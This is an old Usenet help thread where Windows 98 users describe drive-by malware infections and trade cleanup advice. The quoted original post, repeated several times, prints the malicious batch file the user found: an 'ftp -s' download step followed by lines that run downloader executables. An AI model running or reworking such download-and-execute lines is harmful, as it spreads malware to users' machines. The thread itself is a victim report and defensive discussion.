DOS Batch file from hell!!

Today while surfing the net with my Windows 98SE Compaq Armada 1700 laptop, I
encountered a website that displayed a popup add, that asked me a question with
two possible answers. I foolishly clicked one of the answers instead of
clicking away. After of which my computer screen turned blank, and then
started to flash after of which I received a DOS prompt, while something was
using the DOSFTP environment to connect to a site and download some apps and
install software on my computer. Its like my Computer was being controlled!!
I quickly ejected my PC network card from my laptop, and my computer froze. I
restarted and a bunch of .exe icons were on my desktop. I attempted to delete
all of them, but not all could be removed either from Windows or a DOS session
within Windows. It seemed the only way to rid the newely installed .exe files
was to reboot to the DOS command prompt. Once in a pure DOS session, I was
able to remove the .exe apps from my desktop.

It seems that this hassle was triggered by the batch file below. This batch
file executes even if you do not open it. I moved the file to the recycle bin,
and while moving it back to my PC it executed again.

So in order to disable it, I had to boot into a DOS prompt.

if not exist C:\WINDOWSstatuslog ftp -s
if exist install2.exe install2.exe
if exist infamous_downloader.exe infamous_downloader.exe
if exist 0021-bdl94126.EXE 0021-bdl94126.EXE
if exist CS4P028.exe CS4P028.exe
if exist silent.exe silent.exe

For future reference what should I do, to protect myself from problems like
this? I know I could try not clicking on anypopups, but lets face the facts.
There are some websites that auto-install software in the background when I
visit their site. Their does not seem to be a easy way around this. Heck,
I've even had sites auto-install files when using my Macintosh. But the files
were unable to execute since the Mac OS cannot read .exe files.

Thanks for any support;

Personally I do not know how people with newer floppyless/DOSless laptops
survive. How do they solve these kinds of problems, since they cannot boot
into a pure DOS mode, and since newer laptops lack a floppy disk drive, neither
can they boot into a DOS session easily. I personally would think twice before
purchasing a XP laptop.

John

Uncheck the two "Enable Install on Demand" options in Internet Properties,
Advanced.
-E

"Coolwater0009" wrote in message
...
Today while surfing the net with my Windows 98SE Compaq Armada 1700 laptop,
I
encountered a website that displayed a popup add, that asked me a question
with
two possible answers. I foolishly clicked one of the answers instead of
clicking away. After of which my computer screen turned blank, and then
started to flash after of which I received a DOS prompt, while something was
using the DOSFTP environment to connect to a site and download some apps and
install software on my computer. Its like my Computer was being
controlled!!
I quickly ejected my PC network card from my laptop, and my computer froze.
I
restarted and a bunch of .exe icons were on my desktop. I attempted to
delete
all of them, but not all could be removed either from Windows or a DOS
session
within Windows. It seemed the only way to rid the newely installed .exe
files
was to reboot to the DOS command prompt. Once in a pure DOS session, I was
able to remove the .exe apps from my desktop.

It seems that this hassle was triggered by the batch file below. This batch
file executes even if you do not open it. I moved the file to the recycle
bin,
and while moving it back to my PC it executed again.

So in order to disable it, I had to boot into a DOS prompt.

if not exist C:\WINDOWSstatuslog ftp -s
if exist install2.exe install2.exe
if exist infamous_downloader.exe infamous_downloader.exe
if exist 0021-bdl94126.EXE 0021-bdl94126.EXE
if exist CS4P028.exe CS4P028.exe
if exist silent.exe silent.exe

For future reference what should I do, to protect myself from problems like
this? I know I could try not clicking on anypopups, but lets face the
facts.
There are some websites that auto-install software in the background when I
visit their site. Their does not seem to be a easy way around this. Heck,
I've even had sites auto-install files when using my Macintosh. But the
files
were unable to execute since the Mac OS cannot read .exe files.

Thanks for any support;

Personally I do not know how people with newer floppyless/DOSless laptops
survive. How do they solve these kinds of problems, since they cannot boot
into a pure DOS mode, and since newer laptops lack a floppy disk drive,
neither
can they boot into a DOS session easily. I personally would think twice
before
purchasing a XP laptop.

John

On 20 May 2004 04:31:52 GMT, (Coolwater0009)
wrote:

For future reference what should I do, to protect myself from problems like
this? I know I could try not clicking on anypopups, but lets face the facts.
There are some websites that auto-install software in the background when I
visit their site. Their does not seem to be a easy way around this. Heck,
I've even had sites auto-install files when using my Macintosh. But the files
were unable to execute since the Mac OS cannot read .exe files.

Thanks for any support;

Step 1: don't use IE. Swiss cheese has less holes!
Step 2: download a decent browser like Mozila or Opera. Both has
built in pop up blocker
Step 3: post the link to the site where that pop up might have
happened

Personally I do not know how people with newer floppyless/DOSless laptops
survive. How do they solve these kinds of problems, since they cannot boot
into a pure DOS mode, and since newer laptops lack a floppy disk drive, neither
can they boot into a DOS session easily. I personally would think twice before
purchasing a XP laptop.

A prayer. ;-) Actually even with XP, you can still boot into
DOS-esque mode by using XP startup CD and entering the repair console.
Or using Win 98 boot CD (not the 98 install CD) to get DOS mode on any
laptop.

Also it helps if you have firewall running as well as up to date
antivirus program. Using Lavasoft Ad-ware and Spybot once in a while
will keep spywares and trojans from sneaking into your system.

As a last resort, you could buy a Mac laptop. SPyware and such
program would still end up on your hard drive but it won't do anything
because it can't run in MacOS at all.
--
To reply, replace digi.mon with tds.net

One way to protect yourself is to install a good pop-up blocker. Yahoo has
an excellent one as part of their Companion toolbar. It's free. Go to:
http://www.yahoo.com
and download and install it. It's very configurable and allows you to
sprcify from what websites you DO want to allow pop-ups. I use it on all my
PCs. On this new Presario S5200CL, it has blocked 191 pop-up ads in the week
I've had the PC online.
HH


"Coolwater0009" wrote in message
...
Today while surfing the net with my Windows 98SE Compaq Armada 1700
laptop, I
encountered a website that displayed a popup add, that asked me a question
with
two possible answers. I foolishly clicked one of the answers instead of
clicking away. After of which my computer screen turned blank, and then
started to flash after of which I received a DOS prompt, while something
was
using the DOSFTP environment to connect to a site and download some apps
and
install software on my computer. Its like my Computer was being
controlled!!
I quickly ejected my PC network card from my laptop, and my computer
froze. I
restarted and a bunch of .exe icons were on my desktop. I attempted to
delete
all of them, but not all could be removed either from Windows or a DOS
session
within Windows. It seemed the only way to rid the newely installed .exe
files
was to reboot to the DOS command prompt. Once in a pure DOS session, I
was
able to remove the .exe apps from my desktop.

It seems that this hassle was triggered by the batch file below. This
batch
file executes even if you do not open it. I moved the file to the recycle
bin,
and while moving it back to my PC it executed again.

So in order to disable it, I had to boot into a DOS prompt.

if not exist C:\WINDOWSstatuslog ftp -s
if exist install2.exe install2.exe
if exist infamous_downloader.exe infamous_downloader.exe
if exist 0021-bdl94126.EXE 0021-bdl94126.EXE
if exist CS4P028.exe CS4P028.exe
if exist silent.exe silent.exe

For future reference what should I do, to protect myself from problems
like
this? I know I could try not clicking on anypopups, but lets face the
facts.
There are some websites that auto-install software in the background when
I
visit their site. Their does not seem to be a easy way around this.
Heck,
I've even had sites auto-install files when using my Macintosh. But the
files
were unable to execute since the Mac OS cannot read .exe files.

Thanks for any support;

Personally I do not know how people with newer floppyless/DOSless laptops
survive. How do they solve these kinds of problems, since they cannot
boot
into a pure DOS mode, and since newer laptops lack a floppy disk drive,
neither
can they boot into a DOS session easily. I personally would think twice
before
purchasing a XP laptop.

John

As a last resort, you could buy a Mac laptop. SPyware and such
program would still end up on your hard drive but it won't do anything
because it can't run in MacOS at all.

I have a Mac desktop. Yes as I mentioned such files have been downloaded, but
because of the mac nature, they were never executed.

hi
my aunty's pc has been hijacked, couple weeks ago Almost immediately,
several files were downloaded to my hard drive, as evidenced by the
following new icons on my desktop: o; o.bat; 0021-bdl94126.exe;
cs4po28.exe; silent.exe; install2.exe; and infamous_downloader.exe.
I went back to Explorer to check Google for information about the
downloaded files, but as IE loaded, a steady stream of pop-up ads
came across the screen, faster than I could close them. I finally
performed a ctrl-alt-del to shut the computer down, then rebooted. I
immediately noticed that any/all programs took much longer to load
and were slower to operate, and that IE was now essentially useless
because of the barrage of pop-ups.
any clue how to fix. going on the net in virtually im possible now ive
run virus scan thru them. they keep popping up?
any help is appricated.
bianca

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hi
my aunty's pc has been hijacked, couple weeks ago Almost immediately,
several files were downloaded to my hard drive, as evidenced by the
following new icons on my desktop: o; o.bat; 0021-bdl94126.exe;
cs4po28.exe; silent.exe; install2.exe; and infamous_downloader.exe.
I went back to Explorer to check Google for information about the
downloaded files, but as IE loaded, a steady stream of pop-up ads
came across the screen, faster than I could close them. I finally
performed a ctrl-alt-del to shut the a
href="http://www.ntsearch.com/search.php?q=computer&v=56"computer/a
down, then rebooted. I immediately noticed that any/all programs took
much longer to load and were slower to operate, and that IE was now
essentially useless because of the barrage of pop-ups.
any clue how to fix. going on the net in virtually im possible now ive
run a
href="http://www.ntsearch.com/search.php?q=virus&v=56"virus/a
scan thru them. they keep popping up?
any help is appricated.
bianca

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Yahoo has an excellent pop-up blocker as part of it's free Companion toolbar
for Internet Explorer. It's available at http://www.yahoo.com I also would
recommend downloading and installing SpyBot search and Destroy version 1.2
from http://www.safer-networking.org/ It also is free. I'd also recommend a
thorough virus scan.
HH

"bianca" wrote in message
...
hi
my aunty's pc has been hijacked, couple weeks ago Almost immediately,
several files were downloaded to my hard drive, as evidenced by the
following new icons on my desktop: o; o.bat; 0021-bdl94126.exe;
cs4po28.exe; silent.exe; install2.exe; and infamous_downloader.exe.
I went back to Explorer to check Google for information about the
downloaded files, but as IE loaded, a steady stream of pop-up ads
came across the screen, faster than I could close them. I finally
performed a ctrl-alt-del to shut the a
href="http://www.ntsearch.com/search.php?q=computer&v=56"computer/a
down, then rebooted. I immediately noticed that any/all programs took
much longer to load and were slower to operate, and that IE was now
essentially useless because of the barrage of pop-ups.
any clue how to fix. going on the net in virtually im possible now ive
run a
href="http://www.ntsearch.com/search.php?q=virus&v=56"virus/a
scan thru them. they keep popping up?
any help is appricated.
bianca

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troubleshooting newsgroups.

Bianca's description sounds very much like a worm which is best removed by one
of Spybot, Ad-Aware, or your favorite anti-virus software, all brought up to
date with the latest info. As to which one will nail it? Your guess is as good
as mine. Today, after too many struggles, I ran a complete Norton Anti-Virus
deep virus scan to get rid of a popup type of worm. Fortunately, the allowed me
to download the virus definition updates, which may have gotten it .. Ben Myers

On Tue, 29 Jun 2004 22:02:38 -0400, "HH" wrote:

Yahoo has an excellent pop-up blocker as part of it's free Companion toolbar
for Internet Explorer. It's available at http://www.yahoo.com I also would
recommend downloading and installing SpyBot search and Destroy version 1.2
from http://www.safer-networking.org/ It also is free. I'd also recommend a
thorough virus scan.
HH

"bianca" wrote in message
...
hi
my aunty's pc has been hijacked, couple weeks ago Almost immediately,
several files were downloaded to my hard drive, as evidenced by the
following new icons on my desktop: o; o.bat; 0021-bdl94126.exe;
cs4po28.exe; silent.exe; install2.exe; and infamous_downloader.exe.
I went back to Explorer to check Google for information about the
downloaded files, but as IE loaded, a steady stream of pop-up ads
came across the screen, faster than I could close them. I finally
performed a ctrl-alt-del to shut the a
href="http://www.ntsearch.com/search.php?q=computer&v=56"computer/a
down, then rebooted. I immediately noticed that any/all programs took
much longer to load and were slower to operate, and that IE was now
essentially useless because of the barrage of pop-ups.
any clue how to fix. going on the net in virtually im possible now ive
run a
href="http://www.ntsearch.com/search.php?q=virus&v=56"virus/a
scan thru them. they keep popping up?
any help is appricated.
bianca

==============
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troubleshooting newsgroups.

ben_myers_spam_me_not @ charter.net (Ben Myers) wrote in message ...
Bianca's description sounds very much like a worm which is best removed by one
of Spybot, Ad-Aware, or your favorite anti-virus software, all brought up to
date with the latest info. As to which one will nail it? Your guess is as good
as mine. Today, after too many struggles, I ran a complete Norton Anti-Virus
deep virus scan to get rid of a popup type of worm. Fortunately, the allowed me
to download the virus definition updates, which may have gotten it .. Ben Myers

On Tue, 29 Jun 2004 22:02:38 -0400, "HH" wrote:

Yahoo has an excellent pop-up blocker as part of it's free Companion toolbar
for Internet Explorer. It's available at http://www.yahoo.com I also would
recommend downloading and installing SpyBot search and Destroy version 1.2
from http://www.safer-networking.org/ It also is free. I'd also recommend a
thorough virus scan.
HH

"bianca" wrote in message
...
hi
my aunty's pc has been hijacked, couple weeks ago Almost immediately,
several files were downloaded to my hard drive, as evidenced by the
following new icons on my desktop: o; o.bat; 0021-bdl94126.exe;
cs4po28.exe; silent.exe; install2.exe; and infamous_downloader.exe.
I went back to Explorer to check Google for information about the
downloaded files, but as IE loaded, a steady stream of pop-up ads
came across the screen, faster than I could close them. I finally
performed a ctrl-alt-del to shut the a
href="http://www.ntsearch.com/search.php?q=computer&v=56"computer/a
down, then rebooted. I immediately noticed that any/all programs took
much longer to load and were slower to operate, and that IE was now
essentially useless because of the barrage of pop-ups.
any clue how to fix. going on the net in virtually im possible now ive
run a
href="http://www.ntsearch.com/search.php?q=virus&v=56"virus/a
scan thru them. they keep popping up?
any help is appricated.
bianca

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troubleshooting newsgroups.




this is a MEAN sucker, Bianca, but i was able to extract it... i'm
running windows 98.
I deleted all temporary files and cookies. I rechose a new home page
from 'favorites'. I tried to delete the new programs from my desktop
but the 'infamous' and another numbered one were refused - 'program in
use'... i then opened the properties for each, unchecked any boxes
("archive") and closed. It still wouldn't delete.
So i shut down, restarted, and FIRST THING went to delete the
files. It seemed to take several tries to get both, but eventually
they went, and now everything went back to normal. GOOD LUCK with
this.
Sure looks like the ad for the antispyware program that piggybacks
with this monster is, um, CONNECTED with it. Can he be charged? I
didn't check out the spam t find out who it was, tho... Ъ×


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